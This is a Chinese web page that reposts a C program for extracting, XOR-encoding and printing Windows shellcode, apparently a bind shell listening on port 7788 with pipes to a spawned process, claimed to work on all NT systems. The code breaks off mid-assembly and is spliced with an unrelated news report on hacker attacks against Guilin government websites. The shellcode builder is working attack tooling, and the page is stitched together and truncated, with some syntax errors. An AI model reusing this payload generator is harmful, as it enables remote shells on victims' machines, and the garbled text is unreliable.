有事就给我打电话,拼命的打
首页 | 公司概况 | 新闻列表 | 产品列表 | 业务介绍 | 技术知识 | 论坛  
   
□ 站 内 搜 索 □
请输入查询的字符串:

 

使用C语言编写提取通用shellcode的程序


发布时间:2005-4-1 被阅览数:0 次 作者:不祥

说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode
      用vc编译时请使用Release格式并取消优化设置,否则不能正常运行
*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define  DEBUG 1  //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode

//
//函数原型
//
void     DecryptSc();  //shellcode解码函数,使用的是xor法加微调法
void     ShellCodes();  //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀
void     PrintSc(char *lpBuff, int buffsize);  //PrintSc函数用标准c格式打印

//
//用到的部分定义
//
#define  BEGINSTRLEN    0x08    //开始字符串长度
#define  ENDSTRLEN      0x08    //结束标记字符的长度
#define  nop_CODE       0x90    //填充字符,用于不确定shellcode入口用
#define  nop_LEN        0x0     //ShellCode起始的填充长度,真正shellcode的入口
#define  BUFFSIZE       0x20000 //输出缓冲区大小

#define  sc_PORT        7788    //绑定端口号 0x1e6c
#define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小

#define  Enc_key        0x7A    //编码密钥

#define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?
#define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?
#define  MAX_api_strlen 0x400   //APIstr字符串的长度
#define  API_endstr     "strend"//API结尾标记字符串   
#define  API_endstrlen  0x06    //标记字符串长度
//定义函数开始字符,定位用
#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
                   __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{       //Kernel32中的函数名定义,用于编写自定义的shellcode。下同
            _CreatePipe,
            _CreateProcessA,
            _CloseHandle,
            _PeekNamedPipe,
            _ReadFile,
            _WriteFile,
            _ExitProcess,

            //WS2_32
            _WSAStartup,
_WSASocket
_socket,
            _bind,
            _listen,
            _accept,
            _send,
            _recv,
            _ioctlsocket,
            _closesocket,

            //本机测试User32
            _MessageBeep,
            _MessageBoxA,
            API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
  //shellcode中要用到的字符串
  static char ApiStr[]="\x1e\x6c"   //端口地址7788

            //Kernel32中查找的API函数名称,用来查找函数地址,下同
            "CreatePipe""\x0"
            "CreateProcessA""\x0"
            "CloseHandle""\x0"
            "PeekNamedPipe""\x0"
            "ReadFile""\x0"
            "WriteFile""\x0"
            "ExitProcess""\x0"

            //其它API中用到的API
            "wsock32.dll""\x0"
            "socket""\x0"
            "bind""\x0"
            "listen""\x0"
            "accept""\x0"
            "send""\x0"
            "recv""\x0"
            "ioctlsocket""\x0"
            "closesocket""\x0"
            //本机测试
            "user32.dll""\x0"
            "MessageBeep""\x0"
            "MessageBoxA""\x0"

            "\x0\x0\x0\x0\x0"
            "strend";

  char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串
  char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串

  char  buff[BUFFSIZE];         //缓冲区
  char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲
  char  *pDcrypt_addr,
        *pSc_addr;

  int   buff_len;               //缓冲长度
  int   EncCode_len;            //加密编码代码长度
  int   Sc_len;                 //原始ShellCode的长度

  int       i,k;
  unsigned  char ch;

  //
  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
  //
  pDcrypt_addr=(char *)DecryptSc;

  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

  ch=*pDcrypt_addr;
  if (ch==0xe9)
  {
      pDcrypt_addr++;
      i=*(int *)pDcrypt_addr;
      pDcrypt_addr+=(i+4);      //此时指向DecryptSc函数的实际地址
  }
  //找到解码代码的开始部分
  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

  if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始
  else
  {
      //显示错误信息
      k=0;
      printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
      return 0;
  }

  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;

  if (k<MAX_Enc_Len) EncCode_len=k;
  else
  {
      k=0;
      printf("\nNo End str defined in Decrypt function!Please Check....\n");
      return 0;
  }

  memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充
  memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff

  //
  //处理ShellCode代码,如果需要定位到代码的开始
  //
  pSc_addr=(char *)ShellCodes;     //定位shellcode的地址

  //调试状态下的函数地址处理,便于调试
  ch=*pSc_addr;
  if (ch==0xe9)
  {
      pSc_addr++;
      i=*(int *)pSc_addr;
      pSc_addr+=(i+4);      //此时指向ShellCodes函数的实际地址
  }

  //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
  /*
  for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
  if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位实际代码的开始
  */

  //找到shellcode的结尾及长度
  for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
  if (k<MAX_Sc_Len) Sc_len=k;
  else
  {
      k=0;
      printf("\nNo End str defined in ShellCodes function!Please Check....\n");
      return 0;
  }


  //把shellcode代码复制进sc_buff
  memcpy(sc_buff,pSc_addr,Sc_len);

  //把字符串拷贝在shellcode的结尾
  for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;
  if(i>=MAX_api_strlen)
  {
      printf("\nNo End str defined in API strings!Please Check....\n");
      return 0;
  }
  memcpy(sc_buff+k,ApiStr,i);

  Sc_len+=i;        //增加shellcode的长度

  //
  //对shellcode进行编码,算法简单,可根据需要改变
  //
  k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始

  for(i=0;i<Sc_len;++i){

     ch=sc_buff[i]^Enc_key;
     //对一些可能造成shellcode失效的字符进行替换,即微调法
     if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
     {
        buff[k]='0';
        ++k;
        ch+=0x31;
     }
     //把编码过的shellcode放在DecryptSc代码后面
     buff[k]=ch;
     ++k;
  }

  //shellcode的总长度
  buff_len=k;

  //打印出shellcode
  PrintSc(buff,buff_len);
  //buff[buff_len]=0;
  //printf("%s",buff);

#ifdef DEBUG
  _asm{
      lea eax,buff
      jmp eax
      ret
  }
#endif

    return  0;
}

//解码shellcode的代码
void  DecryptSc()
{
       __asm{

/////////////////////////
//定义开始标志
/////////////////////////
          PROC_BEGIN    //C macro to begin proc

          jmp   next
getEncCodeAddr:
          pop   edi
          push  edi
          pop   esi
          xor   ecx,ecx
Decrypt_lop:
          lodsb
          cmp  al,cl
          jz   shell
          cmp  al,0x30  //判断是否为特殊字符
          jz   special_char_clean  //是则跳到special_char_clean

 


--------------------------------------------------------------------------------
http://www.hackbase.com 阅读: 时间:2005-2-2 7:02:03 来源:www.hackbase.com 
桂林生活网-桂林日报

    本报热线记者接到来自桂林市公安局网监部门的消息:最近,桂林市的一些政府部门和企业信息中心及网站连续多次遭到来自网络黑客的攻击,严重影响了这些部门和单位的正常工作和网络资源的使用。

    记者在采访中得知,从去年11月份开始,桂林市政府某部门信息中心的网站连续多次遭到拒绝服务式攻击,使得整个服务器系统资源耗尽,导致整个系统的网站死机。该信息中心为防止损失进一步扩大,及时向桂林市公安局网监部门报案。经初步排查,发现由于该信息中心网站刚组建,网络安全体系的安全措施不完善,漏洞比较多;同时发现比较可疑的攻击源来自于该部门下属的某学校,因此要求该信息中心先自行查证。

    今年一月份,该信息中心又连续遭到黑客以ASP注入式的攻击,导致整个信息中心的网站都被黑客所控制,并使在该中心托管的十几个网页被黑客修改或更换,直致整个系统的瘫痪。

    据该中心负责同志介绍,该中心负责管理的网站共有60多个,还有个人网页80多个,主要用于电子化办公和信息发布。由于技术手段和网络安全设备的限制,所有的网站集中在两台服务器上。系统建成后,每天的访问量非常大,来自各个地方的攻击也特别多,几乎每天都遭受不同程度的攻击,存在较大安全隐患。只要其中任何一个网站或网页的一个程序设定不严,就极有可能使服务器遭到黑客攻击。

    据桂林市公安局网监部门调查,该中心频繁遭到黑客攻击的原因主要有以下几个方面:一是该中心下属单位的一台电脑在上网过程中因浏览了不良网站而中了木马程序,被黑客所控制,做为傀儡机和攻击源使用,随时可向目标发起黑客攻击;另外,该下属单位也没有采取必要的网络安全技术措施;没有相关的网络安全组织;同时也没有按照国家的有关规定到公安网监部门进行国际互联网的备案登记。

    为此,桂林市公安网监部门提醒各互联网接入单位:最近,网络黑客活动比较频繁,必须引起高度重视,及时采取相关的网络安全技术防范措施,按照国家有关规定到公安网监部门进行备案登记并与公安网监部门建立联系机制,如遇黑客攻击或其他网络安全问题,请做好现场保护工作并及时向市公安网监部门报告,协助公安机关共同做好网络安全问题的防范工作。

 


上一篇: 局域网内玩转远程协助 下一篇: 没有,这是最后一篇!

Copyright @ 2004-2008  http://www.koyee.com 断剑工作室版权所有
公司地址:江西南昌 电话:13879173467 邮编:330029
email:chenxueyan9999@163.com